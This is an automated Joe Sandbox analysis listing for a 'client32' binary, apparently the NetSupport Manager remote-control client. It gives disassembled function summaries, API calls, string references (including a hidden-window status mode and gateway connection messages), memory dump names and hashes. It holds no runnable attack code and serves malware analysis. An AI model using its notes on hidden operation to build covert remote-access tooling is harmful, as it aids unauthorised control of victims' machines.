MORE, xrefs: 6EF0107F
b, xrefs: 6EF012CE
FLG, xrefs: 6EF01163
RESULT, xrefs: 6EF01061
ENC, xrefs: 6EF010DF
TIM, xrefs: 6EF01142
CAP, xrefs: 6EF01121
UID, xrefs: 6EF010BE
END_REC, xrefs: 6EF01250
TXT, xrefs: 6EF01100

Memory Dump Source

Source File: 00000005.00000002.3341493413.000000006EEF1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6EEF0000, based on PE: true

Associated: 00000005.00000002.3341473801.000000006EEF0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341527634.000000006EF30000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341547802.000000006EF39000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341566177.000000006EF3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341566177.000000006EF3E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341604844.000000006EF40000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eef0000_client32.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave_memset$Exception@8Throw_mallocstd::exception::exceptionwsprintf
String ID: CAP$ENC$END_REC$FLG$MORE$RESULT$TIM$TXT$UID$b
API String ID: 275297366-914382535
Opcode ID: 2ccff82c3b3d3638f2e3bb9be55725266525b2e093953e56a745e5fa235bfd90
Instruction ID: 68f7651fed8df53791cc305cdfda8a723edde43086af60ac8590b0e60d71fcdf
Opcode Fuzzy Hash: 2ccff82c3b3d3638f2e3bb9be55725266525b2e093953e56a745e5fa235bfd90
Instruction Fuzzy Hash: 859167B1D0025A5BDF50DFE09C71ADE7678AF41208F10097BE409EA245FB314B5CEB96

Function 110CF130 Relevance: 23.0, APIs: 8, Strings: 5, Instructions: 239COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000017DD), ref: 110CF18A
ShowWindow.USER32(00000000,00000000), ref: 110CF1AF
GetWindowRect.USER32(00000000,?), ref: 110CF1DD
GetObjectA.GDI32(00000000,0000003C,?), ref: 110CF21D
GetWindowTextA.USER32(00000000,?,00000100), ref: 110CF276
GetWindowLongA.USER32(00000000,000000F0), ref: 110CF2FC
GetClientRect.USER32(00000000,?), ref: 110CF3C3
CreateWindowExA.USER32(00000000,Static,11195264,5000000E,?,?,00000010,00000010,?,00003A97,00000000,00000000), ref: 110CF400

Strings

..\ctl32\nsmdlg.cpp, xrefs: 110CF2B0
Static, xrefs: 110CF3F9
e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 110CF1C0, 110CF254, 110CF2E4, 110CF3A6
m_hWnd, xrefs: 110CF1C5, 110CF259, 110CF2E9, 110CF3AB
m_eh, xrefs: 110CF2B5

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Window$Rect$ClientCreateItemLongObjectShowText
String ID: ..\ctl32\nsmdlg.cpp$Static$e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_eh$m_hWnd
API String ID: 4172769820-2231854162
Opcode ID: c3b9e28978103be5a937d48a63f04c3ffe11da8c089b37b84e1aa512a40c65d6
Instruction ID: 2d84ac58a4c57407e54c3cb5711102d4444eebaf719169cc73b89b5b27c55d8a
Opcode Fuzzy Hash: c3b9e28978103be5a937d48a63f04c3ffe11da8c089b37b84e1aa512a40c65d6
Instruction Fuzzy Hash: 8F81C375E00716ABD721CF64CC85F9EB3F4BB88B08F0045ADE5569B680EB74A940CF92

Function 1110F3F0 Relevance: 23.0, APIs: 11, Strings: 2, Instructions: 218fileCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(0000017D,EFF676FC,0000017D,?,?,?,?,?,?,?,?,1118B168,000000FF,?,1110F947,00000001), ref: 1110F427
_memset.LIBCMT ref: 1110F4C2
SetFilePointer.KERNEL32(?,00000000,00000000,00000001), ref: 1110F4FA
WriteFile.KERNEL32(?,?,?,?,00000000), ref: 1110F58E
SetFilePointer.KERNEL32(?,00000000,00000000,00000000), ref: 1110F5B9
WriteFile.KERNEL32(?,PCIR,00000030,?,00000000), ref: 1110F5CE

Part of subcall function 11110000: InterlockedDecrement.KERNEL32(?), ref: 11110008

CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,1118B168,000000FF), ref: 1110F5F5
_free.LIBCMT ref: 1110F628
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 1110F665
timeEndPeriod.WINMM(00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 1110F677
LeaveCriticalSection.KERNEL32(0000017D,?,?,?,?,?,?,?,1118B168,000000FF,?,1110F947,00000001,EFF676FC,0000017D,00000001), ref: 1110F681

Strings

PCIR, xrefs: 1110F5C9, 1110F5CC
End Record %s, xrefs: 1110F442

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: File$CloseCriticalHandlePointerSectionWrite$DecrementEnterInterlockedLeavePeriod_free_memsettime
String ID: End Record %s$PCIR
API String ID: 4278564793-2672865668
Opcode ID: 2297d0fbe9251eaeeb3cc25f45a368d5b625df3f620643443588fc5d57948bb5
Instruction ID: c7b3bd1ea8319edfd3cc52dfdc755cda258f2b25611d18eaf89bf58ef2166273
Opcode Fuzzy Hash: 2297d0fbe9251eaeeb3cc25f45a368d5b625df3f620643443588fc5d57948bb5
Instruction Fuzzy Hash: 32811875A0070AABD724CFA4C881BEBF7F8FF88704F00492DE66A97240D775A941CB91

Function 110F70E0 Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 176libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(Wtsapi32.dll,EFF676FC,1102E747,?,00000000), ref: 110F711B
GetProcAddress.KERNEL32(00000000,WTSQuerySessionInformationA), ref: 110F7179
wsprintfA.USER32 ref: 110F7235
SetLastError.KERNEL32(00000078), ref: 110F7242
wsprintfA.USER32 ref: 110F7267
GetProcAddress.KERNEL32(?,WTSFreeMemory), ref: 110F72A7
SetLastError.KERNEL32(00000078), ref: 110F72BC
FreeLibrary.KERNEL32(?), ref: 110F72D0

Strings

WTSQuerySessionInformationA, xrefs: 110F716F
Wtsapi32.dll, xrefs: 110F7113
%u.%u.%u.%u, xrefs: 110F7261
%x:%x:%x:%x:%x:%x:%x:%x, xrefs: 110F722F
WTSFreeMemory, xrefs: 110F72A1

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AddressErrorLastLibraryProcwsprintf$FreeLoad
String ID: %u.%u.%u.%u$%x:%x:%x:%x:%x:%x:%x:%x$WTSFreeMemory$WTSQuerySessionInformationA$Wtsapi32.dll
API String ID: 856016564-3838485836
Opcode ID: cc029828f1d21abf9f8ceca98a157caf4b608a284bbec4fbfb4073d9588458f4
Instruction ID: 25a542e7ca9f20ccb9d734b321771151ba7e8120a74b68384c663ef2db5eebf1
Opcode Fuzzy Hash: cc029828f1d21abf9f8ceca98a157caf4b608a284bbec4fbfb4073d9588458f4
Instruction Fuzzy Hash: 2161B771D042689FDB18CFA98C98AADFFF5BF49301F0581AEF16A97251D6345904CF20

Function 6EEF9E20 Relevance: 22.9, APIs: 1, Strings: 12, Instructions: 152COMMON

Download Yara Rule

APIs

Part of subcall function 6EF07BE0: _memset.LIBCMT ref: 6EF07BFF
Part of subcall function 6EF07BE0: _strncpy.LIBCMT ref: 6EF07C0B

__wcstoui64.LIBCMT ref: 6EEF9EF8

Strings

CMPI, xrefs: 6EEF9EE1
SERVER_VERSION, xrefs: 6EEF9E60
RESULT, xrefs: 6EEF9EA1
FAILED_REASON, xrefs: 6EEF9EC1
MAC, xrefs: 6EEF9F24
1.0, xrefs: 6EEF9E27, 6EEF9E37
strlen(p) == 12, xrefs: 6EEF9F58
MAXPACKET, xrefs: 6EEF9E81
e:\nsmsrc\nsm\1210\1210f\ctl32\htctl.c, xrefs: 6EEF9F53
PROTOCOL_VER, xrefs: 6EEF9F07
Gateway rejected client connection because licence was exceeded., xrefs: 6EEF9F9D
Gateway rejected client connection because security check failed., xrefs: 6EEF9FA4

Memory Dump Source

Source File: 00000005.00000002.3341493413.000000006EEF1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6EEF0000, based on PE: true

Associated: 00000005.00000002.3341473801.000000006EEF0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341527634.000000006EF30000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341547802.000000006EF39000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341566177.000000006EF3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341566177.000000006EF3E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341604844.000000006EF40000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eef0000_client32.jbxd

Yara matches

Similarity

API ID: __wcstoui64_memset_strncpy
String ID: 1.0$CMPI$FAILED_REASON$Gateway rejected client connection because licence was exceeded.$Gateway rejected client connection because security check failed.$MAC$MAXPACKET$PROTOCOL_VER$RESULT$SERVER_VERSION$e:\nsmsrc\nsm\1210\1210f\ctl32\htctl.c$strlen(p) == 12
API String ID: 2670788892-1257448691
Opcode ID: 81d58ad1470ec4081740680b0e2abef861ad3363432e29a9a5479bfcb43e1160
Instruction ID: e2dfd74586e5caae27d4e945fa97f5fcc32da816264efead554fd4c08c15fbc0
Opcode Fuzzy Hash: 81d58ad1470ec4081740680b0e2abef861ad3363432e29a9a5479bfcb43e1160
Instruction Fuzzy Hash: 1E4139A6D14612A7EB10AAF09C31BEB329C9F0124DF240465EC44DE3C1F767D616D7E2

Function 11025000 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 120windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?,0000000E,00000000,00000000), ref: 11025036
SendMessageA.USER32(?,000000BA,00000000,00000000), ref: 11025049
SendMessageA.USER32(?,000000BB,-00000001,00000000), ref: 1102505A
SendMessageA.USER32(?,000000C1,00000000,00000000), ref: 11025065
SendMessageA.USER32(?,000000C4,-00000001,?), ref: 1102507E
GetDC.USER32(?), ref: 11025085
SendMessageA.USER32(?,00000031,00000000,00000000), ref: 11025095
SelectObject.GDI32(?,00000000), ref: 110250A2
GetTextExtentPoint32A.GDI32(?,00000020,00000001,?), ref: 110250B8
SelectObject.GDI32(?,?), ref: 110250C7
ReleaseDC.USER32(?,?), ref: 110250CF
SetCaretPos.USER32(?,?), ref: 11025111

Strings

, xrefs: 1102502F

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: MessageSend$ObjectSelect$CaretExtentPoint32ReleaseText
String ID:
API String ID: 4100900918-3916222277
Opcode ID: 81849d76d252f21a55fd605d5a4a08d2267cf51cac1b4e435e9d7ec204cef2ae
Instruction ID: b0707e50622e5a2dee3f64ca7938c426cfa52823b6f102614556d1b444951bd6
Opcode Fuzzy Hash: 81849d76d252f21a55fd605d5a4a08d2267cf51cac1b4e435e9d7ec204cef2ae
Instruction Fuzzy Hash: 84414C71A41318AFEB10DFA4CD84FAEBBF8EF89700F118169F915AB244DB749900CB60

Function 1101F0D0 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 116windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 1101F0FE
SystemParametersInfoA.USER32(00000029,00000000,?,00000000), ref: 1101F11D

Part of subcall function 110CCE60: GetWindowRect.USER32(110CEFF5,?), ref: 110CCE7C

Part of subcall function 110CCE60: SetRectEmpty.USER32(?), ref: 110CCE88

DeleteObject.GDI32(00000000), ref: 1101F16C
DeleteObject.GDI32(00000000), ref: 1101F178
CreateFontIndirectA.GDI32(?), ref: 1101F187
CreateFontIndirectA.GDI32(?), ref: 1101F19F
GetMenuItemCount.USER32 ref: 1101F1A7
_memset.LIBCMT ref: 1101F1CF
GetMenuItemInfoA.USER32(?,00000000,00000001,?), ref: 1101F20C
__strdup.LIBCMT ref: 1101F221
SetMenuItemInfoA.USER32(?,00000000,00000001,00000030), ref: 1101F279

Strings

0, xrefs: 1101F1E8
MakeOwnerDraw, xrefs: 1101F0E4

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: InfoItemMenu$CreateDeleteFontIndirectObjectRect_memset$CountEmptyParametersSystemWindow__strdup
String ID: 0$MakeOwnerDraw
API String ID: 1249465458-1190305232
Opcode ID: c1d057d4b376d33391db275f0bf70fb86bac35c6ea87d071bec4acea8677cd57
Instruction ID: cad075490b8b101532292c9a84c7126ab9bfd0db94d612dc2b0baac2de7b47d0
Opcode Fuzzy Hash: c1d057d4b376d33391db275f0bf70fb86bac35c6ea87d071bec4acea8677cd57
Instruction Fuzzy Hash: 19417E71D012399BDB64DFA4CC89BD9FBB8BB09708F0001D9E508A7284DBB46A84CF94

Function 1102370A Relevance: 21.4, APIs: 10, Strings: 2, Instructions: 363windowCOMMON

Download Yara Rule

APIs

Part of subcall function 1115BAE0: IsIconic.USER32(?), ref: 1115BB87
Part of subcall function 1115BAE0: ShowWindow.USER32(?,00000009), ref: 1115BB97
Part of subcall function 1115BAE0: BringWindowToTop.USER32(?), ref: 1115BBA1

CheckMenuItem.USER32(00000000,000013EB,-00000009), ref: 1102384D
ShowWindow.USER32(?,00000003), ref: 110238D1
LoadMenuA.USER32(00000000,000013A3), ref: 110239FB
GetSubMenu.USER32(00000000,00000000), ref: 11023A09
CheckMenuItem.USER32(00000000,000013EB,?), ref: 11023A29
GetDlgItem.USER32(?,000013B2), ref: 11023A3C
GetWindowRect.USER32(00000000), ref: 11023A43
PostMessageA.USER32(?,00000111,?,00000000), ref: 11023A99
DestroyMenu.USER32(?,?,00000000,00000000,00000102,?,?,?,00000000), ref: 11023AA3

Strings

Chat, xrefs: 110239B0
AddToJournal, xrefs: 110239AB

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Menu$Window$Item$CheckShow$BringDestroyIconicLoadMessagePostRect
String ID: AddToJournal$Chat
API String ID: 693070851-2976406578
Opcode ID: 4e8affa197535ad0660103244a90f227890d3a0ada2779ccdef05f8d718aa204
Instruction ID: 808c1e48a155f27d2b3c0586fadc3707d2cf985dccefb9094def5a9ab05a8e38
Opcode Fuzzy Hash: 4e8affa197535ad0660103244a90f227890d3a0ada2779ccdef05f8d718aa204
Instruction Fuzzy Hash: 58A10334F44616ABDB08CF64CC85FAEB3E9AB8C704F50452DE6569F6C0DBB4A900CB95

Function 110A1460 Relevance: 21.3, APIs: 1, Strings: 11, Instructions: 285timeCOMMON

Download Yara Rule

APIs

Part of subcall function 110D0960: __strdup.LIBCMT ref: 110D097A

Part of subcall function 110D0A10: _free.LIBCMT ref: 110D0A3D

Part of subcall function 110D15C0: wvsprintfA.USER32(?,?,1102CC61), ref: 110D15EB

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

GetLocalTime.KERNEL32(?), ref: 110A1778

Strings

IsA(), xrefs: 110A1605, 110A165F, 110A1693, 110A16E8, 110A171C, 110A1811
%s\%s, xrefs: 110A15E1
LESSON=, xrefs: 110A14E0
CLASSID=, xrefs: 110A155B
_%04d_%02d_%02d_%02d%02d, xrefs: 110A17A6
e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h, xrefs: 110A1600, 110A165A, 110A168E, 110A16E3, 110A1717, 110A180C
%s_, xrefs: 110A16A7
%s\, xrefs: 110A1633
\/:*?"<>|, xrefs: 110A151F, 110A1596
[JNL] MakeFileName ret %s, xrefs: 110A1822
_%s, xrefs: 110A1730

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorExitLastLocalMessageProcessTime__strdup_freewsprintfwvsprintf
String ID: %s\$%s\%s$%s_$CLASSID=$IsA()$LESSON=$[JNL] MakeFileName ret %s$\/:*?"<>|$_%04d_%02d_%02d_%02d%02d$_%s$e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h
API String ID: 2014016395-1677429133
Opcode ID: f40b352dcf41bf990ef8532e9d61be92d2988391912dd2b6e0b8644578a58059
Instruction ID: aef08c5c19416ca6c78363d8fb1b9fc7de7af93cef0e20b47086b6b370679a0b
Opcode Fuzzy Hash: f40b352dcf41bf990ef8532e9d61be92d2988391912dd2b6e0b8644578a58059
Instruction Fuzzy Hash: 44B1AF79E00229ABDB15DBA4DD41FEDB7F5AF59388F0441D4E80A67280EB307B44CEA5

Function 11131320 Relevance: 21.2, APIs: 6, Strings: 6, Instructions: 187COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,11139C95,00000000), ref: 11131428
ShowWindow.USER32(00000000,00000000,?,11139C95,00000000), ref: 11131457

Strings

Client, xrefs: 11131472
#32770, xrefs: 111313CC, 11131416
StatusMode, xrefs: 1113146D
gUI.hidden_window, xrefs: 11131441
Hidden, xrefs: 111313C7, 11131411
UI.CPP, xrefs: 1113143C

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorLastShowWindow
String ID: #32770$Client$Hidden$StatusMode$UI.CPP$gUI.hidden_window
API String ID: 3252650109-4091810678
Opcode ID: 0ae299210a7d0d5a262dbccdfbf7f866bd70b7d9559bf6e9f26038e806d2e655
Instruction ID: 1b40a51cdbaebc86ba70b46d463032212dc909346aab7ab50ce078dfded898e8
Opcode Fuzzy Hash: 0ae299210a7d0d5a262dbccdfbf7f866bd70b7d9559bf6e9f26038e806d2e655
Instruction Fuzzy Hash: 2161D571B84325ABE711CF90CC85F69F774E784B29F104129F625AB2C4EBB56940CB84

Function 110F7300 Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 137libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(Wtsapi32.dll,EFF676FC,1102E747,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 110F732D
GetProcAddress.KERNEL32(00000000,WTSQuerySessionInformationA), ref: 110F7372
GetProcAddress.KERNEL32(?,WTSFreeMemory), ref: 110F73C3
SetLastError.KERNEL32(00000078,?,?,?,?,?,?,?,?,?,?,00000000,11189DD0,000000FF,?,1102A280), ref: 110F73D8
